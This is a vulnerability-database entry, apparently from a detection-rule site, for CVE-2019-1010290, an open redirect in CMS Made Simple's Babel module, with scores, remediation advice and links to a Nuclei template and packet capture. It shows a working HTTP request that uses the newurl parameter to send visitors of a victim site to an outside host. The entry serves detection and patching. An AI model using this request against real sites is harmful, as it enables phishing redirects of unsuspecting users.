🔙 목록으로 돌아가기

CVE-2019-1010290: Babel - Open Redirect

TitleBabel - Open Redirect
Author0x_Akoko
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to potential phishing attacks.
RemediationUpgrade to Babel version 7.4.0 or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.21947
CVE IDCVE-2019-1010290
CWE IDCWE-601
Tags cve2019 cve redirect babel cmsmadesimple vuln

🔍 Vulnerability Description

Babel contains an open redirect vulnerability via redirect.php in the newurl parameter. An attacker can use any legitimate site using Babel to redirect user to a malicious site, thus possibly obtaining sensitive information, modifying data, and/or executing unauthorized operations.

🌐 HTTP Request

GET /modules/babel/redirect.php?newurl=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-1010290.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-1010290.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A